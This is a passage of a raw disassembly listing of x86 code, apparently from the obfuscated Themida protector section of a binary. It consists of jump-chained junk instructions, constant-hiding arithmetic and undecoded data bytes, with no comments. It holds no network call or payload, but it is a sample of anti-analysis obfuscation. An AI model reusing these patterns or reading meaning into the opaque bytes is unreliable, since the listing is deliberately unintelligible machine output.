loc_54CC19:				; CODE XREF: Themida_:0054BB62j
		pop	ebp
		jmp	loc_54BAFE
; ---------------------------------------------------------------------------

loc_54CC1F:				; CODE XREF: Themida_:00547D5Cj
		add	ebp, 4
		jmp	loc_54773B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E3E99C51h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC2F:				; CODE XREF: Themida_:005462B8j
		pop	eax
		push	edx
		jmp	loc_54C502
; ---------------------------------------------------------------------------
aZ4S		db '┤4$Ию;',0
		align 2
		dw 14F7h
		dd 0C7E95D24h, 31FFFFCDh, 16E9242Ch, 0FFFFFF85h, 81E92434h
		dd 89FFFFE5h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 7EA4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC6E:				; CODE XREF: Themida_:00545C2Bj
		mov	eax, 25F4021Dh
		add	eax, 2352303Eh
		sub	edi, eax
		pop	eax
		xor	edi, 816470D3h
		sub	eax, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5483CA
; ---------------------------------------------------------------------------

loc_54CC8F:				; CODE XREF: Themida_:0054996Dj
		sub	ebx, 280FEFACh
		jmp	loc_54B584
; ---------------------------------------------------------------------------

loc_54CC9A:				; CODE XREF: Themida_:00550214j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_546F3C
; ---------------------------------------------------------------------------

loc_54CCBB:				; CODE XREF: Themida_:0054FBDFj
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54A661
; ---------------------------------------------------------------------------
		dw 0F030h
aZfqho		db 'ZfQhO\',0
		align 10h
		dd 51240489h, 0E88829B5h, 87B65259h, 4AE94FB1h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CCF3:				; CODE XREF: Themida_:00547FE6j
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_545136
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 5CF12AD9h, 0C281F201h, 5CF12AD9h, 0FF836EE9h, 4C781FFh
		dd 0E9000000h, 0FFFFBCBFh, 25E0C381h, 0E7E9FFFCh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CD2B:				; CODE XREF: Themida_:0054D586j
		mov	edx, 73625E57h
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5DB023CAh
		mov	esi, 0EA4B7CC1h
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5486D2
; ---------------------------------------------------------------------------
aS_5		db '╢;Ич$',0
		dw 3100h
		dd 241C8BD8h, 0B5B4E951h, 0C281FFFFh, 78AA2510h, 2824BD55h
		dd 0EA31B803h, 25C0E9h,	8CC78000h, 0E95BF830h, 10AEh, 2474FF53h
		dd 883E904h, 0E9550000h, 0FFFFB3C5h
; ---------------------------------------------------------------------------

loc_54CD9C:				; CODE XREF: Themida_:0054BD73j
		mov	[esp], ecx
		jmp	loc_54D40D
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	83000000h, 1C8704C3h, 95685C24h
		dd 89000019h, 34FF241Ch, 24048B24h, 5204C483h, 0F072E954h
		dd 0C481FFFFh, 4, 3035E9h, 4C48300h, 33240431h,	4312404h
		dd 9BABE924h, 5166FFFFh, 7D20E99Ch, 0D5F6FFFFh,	0FFB970E9h
		dd 88DC88FFh, 8B5B58E1h, 0C4832404h, 66C80004h,	0E9240C8Bh
		dd 0FFFF9605h
; ---------------------------------------------------------------------------

loc_54CE10:				; CODE XREF: Themida_:0054685Ej
		sub	ebx, esi
		jmp	loc_549337
; ---------------------------------------------------------------------------

loc_54CE17:				; CODE XREF: Themida_:0054A351j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dw 89BDh
		dd 2940175Dh, 0EFC15DEFh, 86BB5303h, 0F739E80Bh, 0C3F381DBh
		dd 1871394h, 0D23EE9DFh, 2C8BFFFFh, 0ABF8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CE4A:				; CODE XREF: Themida_:0054612Aj
		pop	edi
		not	ebx
		inc	ebx
		jmp	loc_54FF7C
; ---------------------------------------------------------------------------

loc_54CE53:				; CODE XREF: Themida_:0054B6AFj
		pop	esp
		xor	ecx, 350A3FA5h
		push	esi
		push	eax
		mov	eax, 558A71EFh
		shr	eax, 3
		push	esi
		mov	esi, 26F07D6Fh
		not	esi
		add	esi, 23211AF7h
		jmp	loc_550876
; ---------------------------------------------------------------------------

loc_54CE77:				; CODE XREF: Themida_:00545E37j
		shl	eax, 2
		push	edx
		mov	edx, 29EA1551h
		jmp	loc_54BB6C
; ---------------------------------------------------------------------------

loc_54CE85:				; CODE XREF: Themida_:005453DBj
		xor	eax, edx
		pop	edx
		jmp	loc_5501ED
; ---------------------------------------------------------------------------

loc_54CE8D:				; CODE XREF: Themida_:0054E6CEj
		pop	ax
		neg	ch
		push	bx
		mov	bl, 4Bh
		sub	ch, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_54E0FB
; ---------------------------------------------------------------------------
		db 52h
		dd 0E9515A54h, 0FFFFAC21h, 104C483h, 0B95159CBh, 4, 3359CB01h
		dd 2BE9241Ch, 89000007h, 58BF243Ch, 29052304h, 0C3E95FFEh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CED3:				; CODE XREF: Themida_:00546094j
		mov	[esp], ebx
		mov	ebx, 0E80006h
		xor	edx, ebx
		pop	ebx
		jmp	loc_545A50
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E9240487h, 1494h
; ---------------------------------------------------------------------------

loc_54CEEC:				; CODE XREF: Themida_:00549611j
		mov	ah, 51h
		add	dh, ah
		pop	eax
		push	ebx
		mov	bh, 74h
		add	bh, 33h
		dec	bh
		neg	bh
		jmp	loc_54F217
; ---------------------------------------------------------------------------
		dd 535A5452h, 4BBh, 0ADC9E900h,	3C87FFFFh, 24E95C24h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CF17:				; CODE XREF: Themida_:00547D51j
		add	esp, 4
		jmp	loc_54587F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 2434FF00h, 5D54555Dh, 4C581h, 0B9510000h, 4F824066h
		dd 0BF9EC181h, 0C581B07Dh, 46F07807h, 1D96ED81h, 0CD014D9Dh
		dd 1D96C581h, 0ED814D9Dh, 46F07807h, 8D18E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CF5A:				; CODE XREF: Themida_:0055004Cj
		add	edx, 1EE67C2Ah
		sub	edx, 35EEBC2Eh
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 5CC77FB1h
		neg	esi
		jmp	loc_54A3F3
; ---------------------------------------------------------------------------

loc_54CF7D:				; CODE XREF: Themida_:0054E8ACj
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 748612C2h
		inc	edx
		add	edx, 75CA195Bh
		not	edx
		add	edx, 0EA502C23h
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_550409
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 1E95600h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CFBB:				; CODE XREF: Themida_:0055068Ej
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54E62C
; ---------------------------------------------------------------------------
		dd 89EF8957h, 0E9505FF9h, 3C0Ch, 7A2668h, 242C8900h, 2BDh
		dd 8BEA0100h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54BBC4
; ---------------------------------------------------------------------------

loc_54CFEA:				; CODE XREF: Themida_:0054DBF9j
		mov	cl, dh
		pop	edx
		add	bh, cl
		pop	cx
		and	bh, 0B2h
		jmp	loc_5469F3
; ---------------------------------------------------------------------------

loc_54CFF9:				; CODE XREF: Themida_:00548B77j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 594165C5h
		shr	edx, 6
		sub	edx, 1650593h
		add	ecx, edx
		jmp	loc_54FF19
; ---------------------------------------------------------------------------

loc_54D017:				; CODE XREF: Themida_:005472E8j
		pop	esi
		xor	edi, [esp]
		jmp	loc_54934F
; ---------------------------------------------------------------------------
		dd 0FF7AEDE9h, 8953ADFFh, 0B3B951E3h, 81233E65h, 736B19E9h
		dd 0C1E18170h, 813D2E2Fh, 377C78C1h, 57C18166h,	4119CA71h
		dd 1854F181h, 0CB01B00Ch, 4EB8159h, 87000000h, 895C241Ch
		dd 4268240Ch, 8B3A247Fh, 8953240Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 50525C24h, 2D97E9h, 24248900h, 4240483h
		dd 4C5815Dh, 0E9000000h, 36C6h,	0E924048Bh, 0FFFFA8CAh
		dd 5103EAC1h, 2343B5B9h, 6E1C102h, 0F181E9D1h, 7FB9587Dh
		dd 92E9CA01h, 8900003Ch, 22B9240Ch, 0E975AC3Dh,	0FFFF9ACAh
		dd 2BBh, 8BD92900h, 0C481241Ch,	4, 31240C33h, 0C33240Ch
		dd 0A2DFE924h, 8851FFFFh, 8BEE88E5h, 30E9240Ch,	81FFFF93h
		dd 4ECh, 240C8900h, 1570E9h, 240C8B00h,	3D74E9h, 24248B00h
		dd 0FF9B18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D109:				; CODE XREF: Themida_:0054AAE7j
		pop	edx
		add	esi, edi
		pop	edi
		jmp	loc_5508E6
; ---------------------------------------------------------------------------

loc_54D112:				; CODE XREF: Themida_:0055102Fj
		mov	ebx, 63D76B8Ch
		add	eax, ebx
		jmp	loc_544BC0
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFB735h, 4EF81h, 0EC830000h, 243C8904h, 42474FFh
		dd 5F2434FFh, 4C481h, 48F0000h,	24248B24h, 0E9241489h
		dd 0FFFFA8B0h, 83243C8Bh, 895604C4h, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 240C895Ch, 600C69B9h, 75CE958h, 0C5810000h
		dd 7E9008E8h, 0E9BA5256h, 5727D118h, 0FE89D789h, 0E6815A5Fh
		dd 13B25796h, 71E6814Eh, 0E9712D4Eh, 3607h, 5DFD68h, 0E65E900h
		dd 0C3000000h, 0E975C380h, 3F17h, 53B0E981h, 0D90103B8h
		dd 53B0C181h, 10303B8h,	56240C8Bh, 25E9E689h, 0FFFFD9h
		dd 2434FFF0h, 0F8EBE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D1D2:				; CODE XREF: Themida_:0054F8BBj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54DFE0
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66CA289Dh, 66D03059h, 0E924148Bh, 0FFFFFCB7h, 0C90C262Dh
		dd 5830891Fh, 6824348Bh, 497Ah,	0E9240489h, 0FFFFADD2h
		dd 0E99CC885h, 0FFFF7906h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_547D56
; ---------------------------------------------------------------------------
		db 0BDh
		dd 78784490h, 0E3CE581h, 0C5816994h, 3F27610Ah,	666BF581h
		dd 0C5814017h, 973517EFh, 62E9EB31h, 5DFFFF96h,	58C4E581h
		dd 10E97B21h, 87000011h, 505C243Ch, 405E089h, 51000000h
		dd 6A2648B9h, 0CBE98100h, 0E96EBB0Fh, 0BAAh, 20000605h
		dd 58C62908h, 35C9E9h, 685B5C00h, 41Dh,	3980E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D27D:				; CODE XREF: Themida_:00546BA3j
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_544C40
; ---------------------------------------------------------------------------
aSr		db ')хИr#',0
		align 4
		dd 24048B66h, 0FF8A93E9h, 5B0705FFh, 1C8B3A0Bh,	4C48124h
		dd 31000000h, 0E9008FC3h, 0FFFF785Ah, 62D8E781h, 0F7810C81h
		dd 0C301C2B3h, 895FF901h, 6D0559CFh, 0E90A8A0Bh, 162Dh
		dd 0B618E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D2DA:				; CODE XREF: Themida_:0054ED64j
		sub	[edi+20h], eax
		jmp	loc_54589D
; ---------------------------------------------------------------------------

loc_54D2E2:				; CODE XREF: Themida_:0054FFC6j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_54947B
; ---------------------------------------------------------------------------
		dw 0FE35h
		dd 0E962BAB4h, 0FFFF8578h, 0C6E9E689h, 5FFFFB4h, 243225BBh
		dd 0FFA8DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D311:				; CODE XREF: Themida_:0054504Dj
		shr	eax, 0Bh
		jmp	loc_5505A8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH4		db '$h4&',0
		align 2
		dw 1489h
		dd 53E28924h, 0FFEBA7E9h, 70DD05FFh, 1F056369h,	56C3624h
		dd 36943AAFh, 0FF944DE9h, 411A68FFh, 0C890000h,	53595424h
		dd 4BBh, 8BD90100h, 4FE9241Ch, 8100000Fh, 0EF134CEBh, 81CB0111h
		dd 0EF134CC3h, 9871E911h, 0E089FFFFh, 405h, 0CC63E900h
		dd 93E9FFFFh, 81FFFF77h, 3F0475EDh, 0E9C50154h,	280h, 0CFCFE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D392:				; CODE XREF: Themida_:0054C80Dj
		add	dword ptr [esp], 4
		jmp	loc_546782
; ---------------------------------------------------------------------------
		dw 489h
		dd 24348124h, 34C14305h, 582434FFh, 4C481h, 41680000h
		dd 0E9000069h, 0FFFFE16Fh
; ---------------------------------------------------------------------------

loc_54D3BC:				; CODE XREF: Themida_:00550257j
		xor	ch, 40h
		add	bl, ch
		pop	ecx
		pop	eax
		jmp	loc_544D21
; ---------------------------------------------------------------------------
		dd 0D71BE56h, 0F1291E78h, 0CBC1815Eh, 292A3328h, 0CBE981F1h
		dd 552A3328h, 780D71BDh, 5DE9011Eh, 240C875Eh, 2414895Ch
		dd 77CB68h, 24048900h, 0EBBE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D3FD:				; CODE XREF: Themida_:0054B891j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_5485BE
; ---------------------------------------------------------------------------

loc_54D40D:				; CODE XREF: Themida_:0054CD9Fj
		mov	ecx, 2B013819h
		shr	ecx, 8
		sub	ecx, 0CAAC81B1h
		push	edx
		mov	edx, ecx
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_5498CC
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E904C483h, 0D98h, 24148759h, 0FF24248Bh, 34FF2434h
		dd 7AE95924h, 53FFFFD6h, 0C381E389h, 4,	0FFB6D2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D459:				; CODE XREF: Themida_:005456CBj
		push	4450h
		mov	[esp], esi
		mov	esi, 2
		add	ebx, 27EF67B9h
		sub	ebx, esi
		sub	ebx, 27EF67B9h
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_549A30
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0CC685524h, 0E9000072h, 0FFFFFBE5h, 582434FFh
		dd 1F5FE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D4A2:				; CODE XREF: Themida_:00549081j
		pop	eax
		mov	edx, [esp]
		push	eax
		jmp	loc_54C514
; ---------------------------------------------------------------------------
		dd 0FE04C483h, 80C5FECDh, 0EF0860EDh, 8E7C059h,	51D1E780h
		dd 0C1FE24B1h, 0FFD2D2E9h, 32E95FFFh, 81000039h, 4C2h
		dd 24148700h, 0F4CCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D4DE:				; CODE XREF: Themida_:0054E4D5j
		add	ebp, 4
		push	esi
		mov	esi, 70C04104h
		jmp	loc_54DDDF
; ---------------------------------------------------------------------------

loc_54D4EF:				; CODE XREF: Themida_:00549F38j
		and	edx, 5E845394h
		push	edx
		mov	edx, esp
		jmp	loc_54DCED
; ---------------------------------------------------------------------------
aFpM		db 'fP╟m',0
		dw 66C3h
		dd 0E6C38058h, 0C05BD830h, 0D0F608E0h, 6602EC83h, 52241C89h
		dd 82B781B2h, 0FFABD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D521:				; CODE XREF: Themida_:00550941j
		dec	ecx
		add	ecx, 0BA36B78Bh
		add	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		sub	eax, 25E614DEh
		jmp	loc_545E45
; ---------------------------------------------------------------------------
		db 89h
		dd 0A282E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D542:				; CODE XREF: Themida_:00549C94j
		pop	ecx
		jmp	loc_5493E1
; ---------------------------------------------------------------------------
		dd 2BAh, 0FDDBE900h, 6866FFFFh,	896631A8h, 0F66240Ch, 87E9C8B6h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D563:				; CODE XREF: Themida_:0054D5AAj
		and	edi, 3AA17217h
		inc	edi
		jmp	loc_547C73
; ---------------------------------------------------------------------------
		db 59h
		dd 0E956D9F7h, 0FFFFC607h
; ---------------------------------------------------------------------------

loc_54D578:				; CODE XREF: Themida_:0054FF26j
		push	5F6Bh
		mov	[esp], ecx
		jmp	loc_549F8E
; ---------------------------------------------------------------------------

loc_54D585:				; CODE XREF: Themida_:0054A5D2j
		push	edx
		jmp	loc_54CD2B
; ---------------------------------------------------------------------------

loc_54D58B:				; CODE XREF: Themida_:00547721j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_55002B
; ---------------------------------------------------------------------------

loc_54D59F:				; CODE XREF: Themida_:0054C516j
		add	eax, 4
		push	edi
		mov	edi, 5E782831h
		jmp	loc_54D563
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BB241C89h, 30h, 3C7D301h, 0
		dd 0C39D615Bh, 0FF7549E9h, 0DEB81FFh, 1075632h,	0DC381D3h
		dd 5A075632h, 875BDE01h, 1EE92434h, 80FFFFFBh, 0C38020EBh
		dd 1605E91Fh, 1C310000h, 241C3324h, 0F468565Ch,	5E098B7Dh
		dd 0D9F7CE87h, 0FFB15DE9h, 0E9D001FFh, 133Dh, 61868h, 241C8900h
		dd 0FF7BB8E9h, 241C8BFFh, 8F04C483h, 248B2404h,	148B6624h
		dd 4EC8124h, 89000000h,	0E0892404h, 4BB53h, 0D8010000h
		dd 2BB535Bh, 2D000000h,	365B4B8Dh, 287ED705h, 0CCBE565Eh
		dd 0E935C15Eh, 7F0h, 0B6525966h, 5AF300CAh, 681FEB80h
		dd 186h, 0B6241489h, 0E9F30020h, 0FFFFB0CAh
; ---------------------------------------------------------------------------

loc_54D674:				; CODE XREF: Themida_:0054F58Cj
		xor	edx, eax
		jmp	loc_546827
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF7BFCEBh, 4BC18177h, 112FB3Bh, 0B4D5E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D68E:				; CODE XREF: Themida_:00549830j
		push	ebx
		add	dword ptr [esp], 1BEA0B0Bh
		push	dword ptr [esp]
		jmp	loc_54A5D7
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 4C681h, 0C6810000h, 4, 8B243487h,	0E9F72424h
		dd 3154E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D6BD:				; CODE XREF: Themida_:005509D4j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_550B6C
; ---------------------------------------------------------------------------
		dd 5559CA01h, 1AB4E953h, 2BD0000h, 5000000h, 4E324BDAh
		dd 1B69E9h, 24248B00h, 14D7E957h, 0C4810000h, 4, 0DCBAE956h
		dd 0EB80FFFFh, 0C0B60F1Ah, 24148B66h, 0E95A5452h, 0FFFFBADFh
		dd 15BD889h, 0C30158C3h, 58A2EB81h, 0EC816FE6h,	4, 50240C89h
		dd 94085168h, 801CE918h, 535AFFFFh, 0D61852BBh,	0E9DBF746h
		dd 1038h
; ---------------------------------------------------------------------------

loc_54D750:				; CODE XREF: Themida_:0054FA60j
		sub	[esp], al
		pushf
		jmp	loc_54E8B9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHph		db '$h▐H',0
		align 2
		dw 0C89h
		dd 57E18924h, 0FF9259E9h, 0E9515EFFh, 0FFFFC988h, 5EF2295Bh
		dd 2134C181h, 4DE964CCh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D783:				; CODE XREF: Themida_:005488D4j
		push	ecx
		mov	ecx, 0A02FA9D9h
		xor	eax, ecx
		pop	ecx
		add	ebx, 7DBB4DA7h
		sub	ebx, eax
		sub	ebx, 7DBB4DA7h
		pop	eax
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebx
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5480DE
; ---------------------------------------------------------------------------

loc_54D7AE:				; CODE XREF: Themida_:00546307j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	esi
		shl	ebp, 5
		push	656Bh
		mov	[esp], esi
		jmp	loc_54FC3B
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	515C2404h, 1BDD68h, 24248900h
		dd 4240483h, 83240C8Bh,	0E8E904C4h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D7F7:				; CODE XREF: Themida_:00545F10j
		push	7F8Ch
		mov	[esp], edx
		push	ebp
		mov	ebp, 49513576h
		dec	ebp
		inc	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		xor	ebp, 0B6AECA8Dh
		mov	edx, ebp
		jmp	loc_548B6F
; ---------------------------------------------------------------------------
		dw 0F758h
		dd 81DBF7DBh, 187BC3CBh, 0FFEB8123h, 0E9FFFFFFh, 0FFFFFE4Bh
		dd 0F281DAF7h, 7428761Bh, 60BD554Ah, 31E63F6Ch,	0D6315DEAh
		dd 0E9F0315Ah, 0FFFFE672h, 3E9D821h, 0B9FFFF81h, 720E3B8Bh
		dd 52F6F181h, 30E94F4Ch, 0FEFFFFA1h, 84F780C7h,	88FA8852h
		dd 7949E9D5h, 6E68FFFFh, 0E9193E32h, 392Eh
; ---------------------------------------------------------------------------

loc_54D87C:				; CODE XREF: Themida_:0054AE17j
		add	esp, 4
		push	esi
		mov	esi, 3E922A9h
		jmp	loc_550B7E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4A2E2FF5h, 814BDBF7h, 0F93EE3CBh, 5C38105h, 0E96FFC7Bh
		dd 0FFFFDDDDh, 8CA6355Fh, 0C3018AF2h, 0E7CCE958h, 77FFFFFFh
		dd 58669D1Ch, 24041166h, 7250E99Ch, 8966FFFFh, 50662414h
		dd 0B4F3E99Ch, 0D9F7FFFFh, 0CDE9E1D1h, 5E000004h, 0B9515652h
		dd 3EA2440Fh, 0E906E1C1h, 0FFFFEF9Bh
; ---------------------------------------------------------------------------

loc_54D8E8:				; CODE XREF: Themida_:0054F03Dj
		push	3E7Eh
		mov	[esp], esi
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 80000h
		mov	ebx, ebp
		jmp	loc_547860
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 373B3A4Ch, 0CEBE5652h, 0C14DF044h, 0C68105EEh
		dd 0FD907DD9h, 295EF289h, 0E9C15AD1h, 7E1C104h,	0D000F181h
		dd 4F09B9D9h, 240C8B1Ch, 815B5453h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFFFBA36h
; ---------------------------------------------------------------------------

loc_54D94C:				; CODE XREF: Themida_:0054E107j
		add	bl, ch
		mov	ecx, [esp]
		jmp	loc_547D23
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2CAF738Bh, 95E9DD29h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D963:				; CODE XREF: Themida_:00550D1Aj
		sub	ecx, edx
		pop	edx
		pop	ebx
		add	ecx, edx
		add	ecx, 20B61425h
		mov	[ecx], al
		pop	ecx
		jmp	loc_54EF68
; ---------------------------------------------------------------------------
		db 81h
		dd 1E17E6EEh, 4EEC12Ch,	4F89F681h, 0EE817A97h, 2934B408h
		dd 0EE2CB305h, 0E9F02944h, 302Bh, 2B60F66h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 0E9240C89h, 0FFFF82A5h, 732433BFh
		dd 5FFD2957h, 448F581h,	0E901E863h, 8078E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D9CA:				; CODE XREF: Themida_:00547E3Fj
		push	13Fh
		mov	[esp], ebx
		mov	ebx, 28h
		push	ecx
		jmp	loc_549B48
; ---------------------------------------------------------------------------
		db 56h,	51h, 68h
		dd 7B147D3Fh, 0EDF18159h, 8978A767h, 0E6C159CEh, 80C68108h
		dd 0E97A9B81h, 0FFFFB555h
; ---------------------------------------------------------------------------

loc_54D9FC:				; CODE XREF: Themida_:00549CDAj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5494A2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2BF57h, 0C3810000h, 40385F39h, 0EB81FB01h, 40385F39h
		dd 0E9243C8Bh, 18E8h, 0D754E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DA36:				; CODE XREF: Themida_:00550BB7j
		pop	ebx
		push	eax
		push	edx
		mov	edx, 0A1F1472h
		jmp	loc_54A901
; ---------------------------------------------------------------------------
		db 41h
		dd 2CD8F181h, 0E9C1372Bh, 4FC98104h, 8159B073h,	460005C1h
		dd 8BCF01A4h, 0C481240Ch, 4, 4B850h, 99E90000h,	66FFFF8Ah
		dd 68240C8Bh, 3A48h, 89242C89h,	622E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA82:				; CODE XREF: Themida_:0054AC09j
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_54DB3C
; ---------------------------------------------------------------------------
		db 51h
		dd 240C8B5Fh, 0FF7957E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DA95:				; CODE XREF: Themida_:005452BBj
		neg	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		neg	edx
		or	edx, 587717EDh
		xor	edx, 7B773F7Fh
		and	ecx, edx
		jmp	loc_54E573
; ---------------------------------------------------------------------------

loc_54DAB6:				; CODE XREF: Themida_:0054EA8Dj
		xor	esi, 7B0708A5h
		add	ebp, esi
		jmp	loc_54AA95
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704EFh, 3C895C24h, 4BA5224h, 89000000h, 0FA015AD7h
		dd 2BF575Fh, 1000000h, 14335FFAh, 0CBF9E924h, 0C788FFFFh
		dd 665BFD88h, 0E47FE958h, 8B66FFFFh, 0F968240Ch, 0E900003Ch
		dd 25E0h, 0E932FF66h, 0FFFF7006h
; ---------------------------------------------------------------------------

loc_54DB0C:				; CODE XREF: Themida_:00549701j
		pop	edi
		jmp	loc_5480EA
; ---------------------------------------------------------------------------
aSs		db '^Иs*',0
		align 4
aIHlw		db '\┴$$h╚w',0
		dd 0E903E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB26:				; CODE XREF: Themida_:00549C3Dj
		sub	[edi+24h], eax
		mov	eax, [esp]
		jmp	loc_54B6E1
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 53h
		dd 0E9E96CF1h, 0FFFFB3C2h
; ---------------------------------------------------------------------------

loc_54DB3C:				; CODE XREF: Themida_:0054DA86j
		mov	ebp, 4
		jmp	loc_54E9A2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2474FF24h, 48F5A04h,	24248B24h, 4DFEB951h, 0C98108FBh
		dd 0DD16BAAh, 0A37E952h, 0C4830000h, 8BF90104h,	2D9FE901h
		dd 68580000h, 6734h, 0FF74D5E9h, 5E089FFh, 4, 0FFAE94E9h
		dd 45866FFh, 2CF000CCh,	0EC815ACCh, 4, 24DAE9h,	4EC8100h
		dd 54000000h, 8324048Fh, 8F042404h, 4832404h, 64E90424h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBB7:				; CODE XREF: Themida_:0054EEE9j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_54F248
; ---------------------------------------------------------------------------
		db 89h
		dd 19C768E0h, 14890000h, 4BA24h, 0DE90000h, 5EFFFFAFh
		dd 862CA81h, 0E9E94522h, 68000016h, 310Fh, 56243C89h, 8368E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

